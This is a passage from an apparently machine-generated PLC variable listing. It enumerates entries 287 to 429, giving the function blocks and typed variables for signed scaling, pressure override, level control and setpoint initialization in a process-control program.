+287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; 